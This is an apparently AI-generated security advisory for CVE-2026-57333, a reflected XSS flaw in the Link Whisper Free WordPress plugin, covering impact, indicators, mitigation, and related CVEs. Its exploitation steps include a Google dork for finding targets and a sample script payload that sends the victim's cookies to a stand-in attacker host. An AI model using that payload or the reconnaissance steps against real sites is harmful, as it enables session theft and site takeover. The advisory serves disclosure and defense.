CVE-2026-57333
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-57333 is an unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in the Link Whisper Free WordPress plugin, affecting versions 0.9.4 and earlier. Discovered by researcher João Pedro S Alcântara (Kinorth) and reported on May 8, 2026, it was publicly disclosed on June 29, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High/Medium), assigned by Patchstack (Patchstack, GitHub Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically a reflected XSS variant. The flaw arises from insufficient sanitization of user-supplied input that is reflected back in the plugin's web page output without proper encoding or escaping. Because no authentication is required to trigger the vulnerability, an unauthenticated attacker can craft a malicious URL containing a JavaScript payload; exploitation is completed when a victim (such as a logged-in administrator) clicks the crafted link, causing the script to execute in their browser context (Patchstack, GitHub Advisory).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the victim's browser session, enabling session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as privilege escalation within WordPress), and redirection to phishing sites. Because the scope is changed (S:C in CVSS), the injected script can affect resources beyond the vulnerable component itself. If a privileged WordPress user (e.g., an administrator) is targeted, the attacker could potentially achieve full site compromise (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Link Whisper Free plugin version 0.9.4 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/link-whisper).
  2. Identify vulnerable parameter: Review the plugin's front-end or admin-facing pages for URL parameters that are reflected unsanitized in the page response — the reflected XSS entry point.
  3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with a JavaScript payload, e.g., https://target-site.com/wp-admin/[vulnerable-page]?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver the payload: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or embedded in a comment/message.
  5. Achieve objective: When the victim clicks the link and their browser loads the page, the injected script executes in their session context, exfiltrating cookies or performing actions (e.g., creating a rogue admin account) on behalf of the victim (Patchstack).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to unknown external domains immediately after loading a WordPress admin page; unusual referrer headers in web server logs pointing to crafted URLs containing encoded script tags or JavaScript payloads.
  • Logs: WordPress or web server access logs showing requests to Link Whisper plugin pages with URL parameters containing <script>, javascript:, onerror=, or URL-encoded equivalents (e.g., %3Cscript%3E).
  • Browser/Session: Unexpected session termination or new administrator accounts created without authorization; reports from users of being redirected to external sites after clicking internal links.
  • File System: New or modified WordPress user accounts with administrator privileges not created through normal channels, potentially indicating post-exploitation privilege escalation.

Mitigation and workarounds

The primary remediation is to update the Link Whisper Free plugin to version 0.9.5 or later, which contains the fix for this vulnerability (Patchstack). If immediate patching is not possible, consider temporarily deactivating the plugin and implementing Content Security Policy (CSP) headers to restrict unauthorized script execution. Patchstack users benefit from a virtual patch (mitigation rule) that blocks exploitation attempts without requiring a plugin update. WordPress site owners should also educate privileged users to scrutinize links before clicking, particularly those received via email or messages.

Community reactions

Wordfence included CVE-2026-57333 in its weekly WordPress vulnerability report for the period of June 29 – July 5, 2026, highlighting it among other plugin vulnerabilities tracked that week (Wordfence). Patchstack, which coordinated the disclosure through its Active VDP program, noted that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites regardless of traffic size (Patchstack). No significant broader media coverage or notable researcher commentary beyond the disclosure parties has been identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15962HIGH8.8
  • fluentformpro
NoYesJul 26, 2026
CVE-2026-10818HIGH8.1
  • wpforms
NoYesJul 25, 2026
CVE-2026-8789HIGH8.1
  • easy-appointments
NoYesJul 24, 2026
CVE-2026-14955MEDIUM6.5
  • woocommerce-checkout-field-editor-pro
NoYesJul 25, 2026
CVE-2026-15425MEDIUM6.4
  • wordpress-seo
NoYesJul 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management